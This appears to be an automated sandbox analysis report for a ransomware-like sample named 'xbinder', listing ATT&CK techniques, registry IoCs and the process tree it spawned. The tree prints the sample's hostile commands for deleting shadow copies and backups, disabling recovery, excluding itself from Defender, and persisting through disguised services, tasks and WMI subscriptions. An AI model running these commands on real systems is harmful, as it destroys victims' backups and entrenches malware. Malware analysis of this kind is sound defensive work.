xbinder | 5c9efa6ab81a830ec0bfd565cb268e1c5848989e5a2e6ee88859a523f32886f9

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe,"	uxa.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2168	bcdedit.exe
5000	bcdedit.exe
5516	bcdedit.exe
4912	bcdedit.exe
5224	bcdedit.exe
4716	bcdedit.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Active Setup\Installed Components	Explorer.EXE

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6664	powershell.exe
3392	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2140	wbadmin.exe

Disables RegEdit via registry modification 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	uxa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	uxa.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
5600	takeown.exe
6000	takeown.exe
5168	icacls.exe
5220	icacls.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

Hidden Files and Directories

T1564.001

pid	Process
3564	attrib.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
5344	uxa.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\AlternateShell = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe"	uxa.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\OptionValue = "1"	uxa.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5600	takeown.exe
6000	takeown.exe
5168	icacls.exe
5220	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dtslxpnxi098 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\uxa = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe"	uxa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\uxa = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe"	uxa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\uxa = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe"	uxa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\uxa = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Update\\WindowsUpdate.exe"	uxa.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1192	sc.exe
6004	sc.exe
336	sc.exe
5896	sc.exe
3788	sc.exe
5620	sc.exe
5844	sc.exe
1776	sc.exe
1840	sc.exe
3680	sc.exe
3616	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2128	cmd.exe
4296	cmd.exe
484	cmd.exe
108	cmd.exe
3736	cmd.exe
5376	cmd.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
5228	vssadmin.exe
2052	vssadmin.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{E2F7412F-80E3-4C47-A586-9A6EBE3E4D25}	Explorer.EXE

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1992	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
4516	XBinderOutput.exe
3392	powershell.exe
3392	powershell.exe
3392	powershell.exe
4944	WMIC.exe
4944	WMIC.exe
4944	WMIC.exe
4944	WMIC.exe
5344	uxa.exe
5344	uxa.exe
5344	uxa.exe
5344	uxa.exe
5344	uxa.exe
5344	uxa.exe
5344	uxa.exe
5700	WMIC.exe
5700	WMIC.exe
5700	WMIC.exe
5700	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	XBinderOutput.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeIncreaseQuotaPrivilege	3392	powershell.exe
Token: SeSecurityPrivilege	3392	powershell.exe
Token: SeTakeOwnershipPrivilege	3392	powershell.exe
Token: SeLoadDriverPrivilege	3392	powershell.exe
Token: SeSystemProfilePrivilege	3392	powershell.exe
Token: SeSystemtimePrivilege	3392	powershell.exe
Token: SeProfSingleProcessPrivilege	3392	powershell.exe
Token: SeIncBasePriorityPrivilege	3392	powershell.exe
Token: SeCreatePagefilePrivilege	3392	powershell.exe
Token: SeBackupPrivilege	3392	powershell.exe
Token: SeRestorePrivilege	3392	powershell.exe
Token: SeShutdownPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeSystemEnvironmentPrivilege	3392	powershell.exe
Token: SeRemoteShutdownPrivilege	3392	powershell.exe
Token: SeUndockPrivilege	3392	powershell.exe
Token: SeManageVolumePrivilege	3392	powershell.exe
Token: 33	3392	powershell.exe
Token: 34	3392	powershell.exe
Token: 35	3392	powershell.exe
Token: 36	3392	powershell.exe
Token: SeBackupPrivilege	5032	vssvc.exe
Token: SeRestorePrivilege	5032	vssvc.exe
Token: SeAuditPrivilege	5032	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4944	WMIC.exe
Token: SeSecurityPrivilege	4944	WMIC.exe
Token: SeTakeOwnershipPrivilege	4944	WMIC.exe
Token: SeLoadDriverPrivilege	4944	WMIC.exe
Token: SeSystemProfilePrivilege	4944	WMIC.exe
Token: SeSystemtimePrivilege	4944	WMIC.exe
Token: SeProfSingleProcessPrivilege	4944	WMIC.exe
Token: SeIncBasePriorityPrivilege	4944	WMIC.exe
Token: SeCreatePagefilePrivilege	4944	WMIC.exe
Token: SeBackupPrivilege	4944	WMIC.exe
Token: SeRestorePrivilege	4944	WMIC.exe
Token: SeShutdownPrivilege	4944	WMIC.exe
Token: SeDebugPrivilege	4944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4944	WMIC.exe
Token: SeRemoteShutdownPrivilege	4944	WMIC.exe
Token: SeUndockPrivilege	4944	WMIC.exe
Token: SeManageVolumePrivilege	4944	WMIC.exe
Token: 33	4944	WMIC.exe
Token: 34	4944	WMIC.exe
Token: 35	4944	WMIC.exe
Token: 36	4944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4944	WMIC.exe
Token: SeSecurityPrivilege	4944	WMIC.exe
Token: SeTakeOwnershipPrivilege	4944	WMIC.exe
Token: SeLoadDriverPrivilege	4944	WMIC.exe
Token: SeSystemProfilePrivilege	4944	WMIC.exe
Token: SeSystemtimePrivilege	4944	WMIC.exe
Token: SeProfSingleProcessPrivilege	4944	WMIC.exe
Token: SeIncBasePriorityPrivilege	4944	WMIC.exe
Token: SeCreatePagefilePrivilege	4944	WMIC.exe
Token: SeBackupPrivilege	4944	WMIC.exe
Token: SeRestorePrivilege	4944	WMIC.exe
Token: SeShutdownPrivilege	4944	WMIC.exe
Token: SeDebugPrivilege	4944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4944	WMIC.exe
Token: SeRemoteShutdownPrivilege	4944	WMIC.exe
Token: SeUndockPrivilege	4944	WMIC.exe
Token: SeManageVolumePrivilege	4944	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5344	uxa.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5344	uxa.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4516 wrote to memory of 2128	4516	XBinderOutput.exe	88
PID 4516 wrote to memory of 3392	4516	XBinderOutput.exe	89
PID 2128 wrote to memory of 2820	2128	cmd.exe	92
PID 2128 wrote to memory of 5220	2128	cmd.exe	93
PID 2128 wrote to memory of 896	2128	cmd.exe	94
PID 2128 wrote to memory of 4296	2128	cmd.exe	95
PID 4296 wrote to memory of 5228	4296	cmd.exe	96
PID 2128 wrote to memory of 4944	2128	cmd.exe	100
PID 2128 wrote to memory of 5000	2128	cmd.exe	102
PID 2128 wrote to memory of 2168	2128	cmd.exe	103
PID 2128 wrote to memory of 2140	2128	cmd.exe	148
PID 2128 wrote to memory of 1992	2128	cmd.exe	108
PID 2128 wrote to memory of 5600	2128	cmd.exe	109
PID 4516 wrote to memory of 5344	4516	XBinderOutput.exe	112
PID 5344 wrote to memory of 484	5344	uxa.exe	113
PID 484 wrote to memory of 6000	484	cmd.exe	115
PID 5344 wrote to memory of 108	5344	uxa.exe	116
PID 108 wrote to memory of 5168	108	cmd.exe	118
PID 5344 wrote to memory of 3564	5344	uxa.exe	119
PID 5344 wrote to memory of 5632	5344	uxa.exe	120
PID 5344 wrote to memory of 1192	5344	uxa.exe	124
PID 5344 wrote to memory of 6004	5344	uxa.exe	126
PID 5344 wrote to memory of 1716	5344	uxa.exe	128
PID 5344 wrote to memory of 2052	5344	uxa.exe	129
PID 5344 wrote to memory of 5700	5344	uxa.exe	130
PID 5344 wrote to memory of 2928	5344	uxa.exe	131
PID 5344 wrote to memory of 5516	5344	uxa.exe	132
PID 5344 wrote to memory of 4912	5344	uxa.exe	133
PID 5344 wrote to memory of 4716	5344	uxa.exe	134
PID 5344 wrote to memory of 5224	5344	uxa.exe	135
PID 5344 wrote to memory of 2756	5344	uxa.exe	186
PID 1636 wrote to memory of 3504	1636	userinit.exe	147

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	uxa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	uxa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	uxa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSettingsApp = "1"	uxa.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
2820	attrib.exe
896	attrib.exe
3564	attrib.exe

C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe
"C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\prikol.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\attrib.exe
    attrib +h .
    3⤵
    - Views/modifies file attributes
    PID:2820
- - C:\Windows\system32\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5220
- - C:\Windows\system32\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - Views/modifies file attributes
    PID:896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5228
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5000
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2168
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2140
- - C:\Windows\system32\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "dtslxpnxi098" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1992
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\uxa.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- C:\Users\Admin\AppData\Local\Temp\uxa.exe
  "C:\Users\Admin\AppData\Local\Temp\uxa.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Disables RegEdit via registry modification
  - Executes dropped EXE
  - Impair Defenses: Safe Mode Boot
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5344
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c takeown.exe /f "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:484
  - - C:\Windows\system32\takeown.exe
      takeown.exe /f "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6000
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls.exe "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe" /grant administrators:F /deny users:D
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:108
  - - C:\Windows\system32\icacls.exe
      icacls.exe "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe" /grant administrators:F /deny users:D
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5168
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib" +S +H +R "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:3564
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "WindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe" /sc onlogon /ru SYSTEM /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5632
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete SystemUpdate
    3⤵
    - Launches sc.exe
    PID:1192
- - C:\Windows\SYSTEM32\sc.exe
    "sc" create SystemUpdate binPath= "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\WindowsUpdate.exe" type= own start= auto
    3⤵
    - Launches sc.exe
    PID:6004
- - C:\Windows\System32\wbem\WMIC.exe
    "C:\Windows\System32\wbem\WMIC.exe" /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsUpdateFilter", EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'"
    3⤵
    PID:1716
- - C:\Windows\System32\vssadmin.exe
    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2052
- - C:\Windows\System32\wbem\WMIC.exe
    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5700
- - C:\Windows\System32\ReAgentc.exe
    "C:\Windows\System32\ReAgentc.exe" /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:2928
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {default} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5516
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {default} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4912
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4716
- - C:\Windows\System32\bcdedit.exe
    "C:\Windows\System32\bcdedit.exe" /set {current} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5224
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c takeown.exe /f "C:\Windows\system32\explorer.exe"
    3⤵
    PID:2756
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls.exe "C:\Windows\system32\explorer.exe" /grant administrators:F
    3⤵
    - Executes a command shell one-liner
    PID:3736
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c takeown.exe /f "C:\Windows\system32\logonui.exe"
    3⤵
    PID:3396
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c icacls.exe "C:\Windows\system32\logonui.exe" /grant administrators:F
    3⤵
    - Executes a command shell one-liner
    PID:5376
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete WindowsUpdateService
    3⤵
    - Launches sc.exe
    PID:5844
- - C:\Windows\SYSTEM32\sc.exe
    "sc" create WindowsUpdateService binPath= "C:\Users\Admin\AppData\Local\Temp\uxa.exe" type= own start= auto DisplayName= "Windows Update Service"
    3⤵
    - Launches sc.exe
    PID:336
- - C:\Windows\SYSTEM32\sc.exe
    "sc" config WindowsUpdateService start= auto
    3⤵
    - Launches sc.exe
    PID:5620
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete SystemUpdateService
    3⤵
    - Launches sc.exe
    PID:3788
- - C:\Windows\SYSTEM32\sc.exe
    "sc" create SystemUpdateService binPath= "C:\Users\Admin\AppData\Local\Temp\uxa.exe" type= own start= auto DisplayName= "Windows Update Service"
    3⤵
    - Launches sc.exe
    PID:5896
- - C:\Windows\SYSTEM32\sc.exe
    "sc" config SystemUpdateService start= auto
    3⤵
    - Launches sc.exe
    PID:3616
- - C:\Windows\SYSTEM32\sc.exe
    "sc" delete SecurityUpdateService
    3⤵
    - Launches sc.exe
    PID:1776
- - C:\Windows\SYSTEM32\sc.exe
    "sc" create SecurityUpdateService binPath= "C:\Users\Admin\AppData\Local\Temp\uxa.exe" type= own start= auto DisplayName= "Windows Update Service"
    3⤵
    - Launches sc.exe
    PID:3680
- - C:\Windows\SYSTEM32\sc.exe
    "sc" config SecurityUpdateService start= auto
    3⤵
    - Launches sc.exe
    PID:1840
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2756
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsLogonFilter", EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_LogonSession WHERE LogonType = 2"
    3⤵
    PID:5008
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsLogonConsumer", ExecutablePath="C:\Users\Admin\AppData\Local\Temp\uxa.exe"
    3⤵
    PID:1112
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" /namespace:\\root\subscription PATH __EventFilter CREATE Name="ExplorerStartFilter", EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
    3⤵
    PID:1880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command "Checkpoint-Computer -Description 'Windows Update' -RestorePointType 'MODIFY_SETTINGS'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5032

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:4528

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3736

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2284

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Modifies registry class
  PID:3504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:2140

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:2832

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:5408

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
PID:3676
- C:\Windows\Explorer.EXE
  C:\Windows\Explorer.EXE
  2⤵
  PID:3492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery